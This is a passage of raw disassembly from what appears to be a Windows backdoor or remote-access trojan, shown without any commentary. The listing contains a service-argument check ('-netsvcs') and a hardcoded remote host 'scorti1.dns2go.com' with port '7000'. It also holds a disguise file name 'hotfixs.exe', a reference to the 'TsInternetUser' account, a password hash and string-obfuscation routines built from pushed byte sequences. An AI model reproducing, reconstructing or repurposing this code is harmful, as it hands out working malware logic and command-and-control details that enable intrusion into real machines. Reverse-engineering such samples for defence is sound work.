ptr [ebx+9], 1 jmp loc_406F08 ; --------------------------------------------------------------------------- loc_406DB0: ; CODE XREF: ___:00406DA5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406DB7: ; CODE XREF: ___:00406DD5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DDB test cl, cl jz short loc_406DD7 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DDB add eax, 2 add esi, 2 test cl, cl jnz short loc_406DB7 loc_406DD7: ; CODE XREF: ___:00406DC1j xor eax, eax jmp short loc_406DE0 ; --------------------------------------------------------------------------- loc_406DDB: ; CODE XREF: ___:00406DBDj ; ___:00406DCBj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DE0: ; CODE XREF: ___:00406DD9j test eax, eax jnz short loc_406DED mov byte ptr [ebx+0Ah], 1 jmp loc_406F08 ; --------------------------------------------------------------------------- loc_406DED: ; CODE XREF: ___:00406DE2j mov esi, offset aBai ; "-bai" mov eax, edi loc_406DF4: ; CODE XREF: ___:00406E12j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E18 test cl, cl jz short loc_406E14 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E18 add eax, 2 add esi, 2 test cl, cl jnz short loc_406DF4 loc_406E14: ; CODE XREF: ___:00406DFEj xor eax, eax jmp short loc_406E1D ; --------------------------------------------------------------------------- loc_406E18: ; CODE XREF: ___:00406DFAj ; ___:00406E08j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E1D: ; CODE XREF: ___:00406E16j test eax, eax jnz loc_406F08 lea ecx, [esp+10h] call sub_401424 mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406EF4 push eax lea ecx, [esp+14h] call sub_4015D7 push 1 push offset asc_443600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_446F60 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406EF4 push 1 push offset asc_443600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_401681 push eax lea eax, [ebx+0Ch] push eax call near ptr 77C47A90h nop add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406EF4: ; CODE XREF: ___:00406E51j ; ___:00406EA1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F08: ; CODE XREF: ___:00406D6Dj ; ___:00406DABj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D38 xor ecx, ecx loc_406F18: ; CODE XREF: ___:00406D2Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F25 mov [ebx+5], ecx loc_406F25: ; CODE XREF: ___:00406F20j cmp [ebx+5], ecx jnz short loc_406F35 test al, al jz short loc_406F35 mov dword ptr [ebx+5], 0Ah loc_406F35: ; CODE XREF: ___:00406F28j ; ___:00406F2Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407030 proc near ; CODE XREF: sub_40209Fj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407030 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_401564 sub_407030 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43E00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4070B0 proc near ; CODE XREF: sub_401591j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015D7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014E2 sub_4070B0 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4070F0 proc near ; CODE XREF: sub_401AF0j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AC3 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401622 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jz short loc_40716B mov edi, [esp+10h+arg_0] loc_407133: ; CODE XREF: sub_4070F0+79j push edi lea ecx, [esp+14h+var_8] call sub_40173F mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_407175 call sub_401F0A lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jnz short loc_407133 loc_40716B: ; CODE XREF: sub_4070F0+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_407175: ; CODE XREF: sub_4070F0+5Aj call sub_40173F mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_4070F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4071C0 proc near ; CODE XREF: sub_4021F8j xor al, al retn 4 sub_4071C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4071E0 proc near ; CODE XREF: sub_401564j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_4071E0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407220 proc near ; CODE XREF: sub_401622j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401A82 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407220 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407260 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407260 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407290 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021BC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_407290 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072D0 proc near ; CODE XREF: sub_401AC3j push esi mov esi, ecx call sub_401B63 mov eax, esi pop esi retn sub_4072D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072F0 proc near ; CODE XREF: sub_40173Fj mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_4072F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407310 proc near ; CODE XREF: sub_401F0Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_401A82 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FA0 neg al sbb eax, eax inc eax retn 4 sub_407340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407370 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C8A mov edi, eax push edi call sub_401C58 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_407370 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C58 push edi mov [eax], ebx call sub_401C58 mov edi, [eax] push edi call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_401672 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_402185 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407410 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019C9 sub_407410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407425 mov edi, esi loc_407425: ; CODE XREF: ___:00407421j push esi call sub_401A82 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40743A mov edi, esi loc_40743A: ; CODE XREF: ___:00407436j push esi call sub_401C58 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407460 proc near ; CODE XREF: sub_401A82j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_407460 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407480 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_407480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074A0 proc near ; CODE XREF: sub_401B63j mov eax, ecx retn sub_4074A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074C0 proc near ; CODE XREF: sub_402185j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_4074C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401FA0j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407520 proc near ; CODE XREF: sub_401C58j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407540 proc near ; CODE XREF: sub_4019C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_407540 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401672j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_407570 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075A0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_401C8Aj mov eax, [ecx] retn sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4075E0 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4075EA xor eax, eax loc_4075EA: ; CODE XREF: sub_4075E0+6j push eax call sub_4367FA sub_4075E0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40762B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40762B: ; CODE XREF: sub_407610+11j retn sub_407610 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407640 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407660 proc near ; CODE XREF: sub_401B2Cj var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407660 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017E4 push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_448D06 call sub_401B5E sub_407660 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076F0 proc near ; CODE XREF: sub_401CC1j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076F0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+20h+arg_4] call sub_4017E4 push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_448D06 call sub_401B5E sub_4076F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407790 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407790 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_174] call sub_401424 lea ecx, [esp+35Ch+var_2DC] mov [esp+35Ch+var_4], 0 call sub_401424 lea ecx, [esp+35Ch+var_1A4] mov byte ptr [esp+35Ch+var_4], 1 call sub_401424 lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 2 call sub_401424 lea ecx, [esp+35Ch+var_2C4] mov byte ptr [esp+35Ch+var_4], 3 call sub_401424 lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 4 call sub_401424 lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 5 call sub_401424 lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 6 call sub_401424 lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 7 call sub_401424 lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_401424 lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_401424 lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_401424 lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_401424 lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_401424 lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_401424 lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_401424 lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_401424 lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 10h call sub_401424 lea ecx, [esp+35Ch+var_18C] mov byte ptr [esp+35Ch+var_4], 11h call sub_401424 mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_144] call sub_401424 lea ecx, [esp+35Ch+var_1BC] mov byte ptr [esp+35Ch+var_4], 13h call sub_401424 lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 14h call sub_401424 lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 15h call sub_401424 lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 16h call sub_401424 lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 17h call sub_401424 lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 18h call sub_401424 lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 19h call sub_401424 lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_401424 lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_401424 lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_401424 lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_401424 mov bl, 1Eh push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_174] mov byte ptr [esp+360h+var_4], bl call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_2DC] call sub_401A87 push offset byte_446F60 lea ecx, [esp+360h+var_1BC] call sub_401A87 push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_1A4] call sub_401A87 lea eax, [esp+35Ch+var_2DC] lea ecx, [esp+35Ch+var_1D4] push eax call sub_40200E push offset byte_446F60 lea ecx, [esp+360h+var_294] call sub_401A87 push offset aScop ; "#scop#" lea ecx, [esp+360h+var_2C4] call sub_401A87 push offset aS_1 ; "#s" lea ecx, [esp+360h+var_E4] call sub_401A87 push offset aServec ; "servec" lea ecx, [esp+360h+var_2AC] call sub_401A87 push offset aHotfixs_exe ; "hotfixs.exe" lea ecx, [esp+360h+var_204] call sub_401A87 push offset aHoewrt ; "hoewrt" lea ecx, [esp+360h+var_234] call sub_401A87 push offset aTahy ; "TAHY-" lea ecx, [esp+360h+var_2F4] call sub_401A87 push offset aAbosal7 ; "abosal7" lea ecx, [esp+360h+var_264] call sub_401A87 push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E" lea ecx, [esp+360h+var_27C] call sub_401A87 push offset aAdmin_com ; "admin.com" lea ecx, [esp+360h+var_15C] call sub_401A87 push offset aTsinternetuser ; "TsInternetUser" lea ecx, [esp+360h+var_114] call sub_401A87 push offset dword_4437FC lea ecx, [esp+360h+var_18C] call sub_401A87 push offset dword_4437F8 lea ecx, [esp+360h+var_1EC] call sub_401A87 push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea ecx, [esp+384h+var_348] push 46h push ecx call sub_4019B5 add esp, 30h push eax lea ecx, [esp+360h+var_144] mov byte ptr [esp+360h+var_4], 1Fh call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 0Dh push 0Fh push 3 push 4Fh push 14h push 6 push 0Fh push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 18h push 9 push 6 push 14h push 0Fh lea edx, [esp+3B0h+var_348] push 8 push edx call sub_4019B5 add esp, 5Ch push eax lea ecx, [esp+360h+var_CC] mov byte ptr [esp+360h+var_4], 20h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 21h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea ecx, [esp+36Ch+var_348] push 45h push ecx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_24C] mov byte ptr [esp+360h+var_4], 22h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea edx, [esp+368h+var_348] push 46h push edx call sub_4019B5 add esp, 14h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 23h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 24h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea ecx, [esp+36Ch+var_348] push 14h push ecx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 25h call sub_40200E mov byte ptr [esp+35Ch+var_4], bl lea ecx, [esp+35Ch+var_348] call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea edx, [esp+370h+var_348] push 6 push edx call sub_4019B5 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 26h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2AC] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+3D0h+var_348] push 13h push eax mov byte ptr [esp+3D8h+var_4], 27h call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 28h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401861 lea ecx, [esi+0FECh] mov byte ptr [esp+38Ch+var_4], 29h push ecx mov ecx, esi call sub_401CC1 sub_407790 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 2Ah call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Bh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+1035h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 2Ch call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+78h] push 13h push ecx mov byte ptr [esp+3C4h], 2Dh call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Eh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+0FA3h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Fh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+80h] push 13h push eax mov byte ptr [esp+3CCh], 30h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 31h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+0F5Ah] mov byte ptr [esp+388h], 32h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 mov byte ptr [esp+370h], 33h push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+90h] push 13h push edx call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 34h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 35h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1A0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 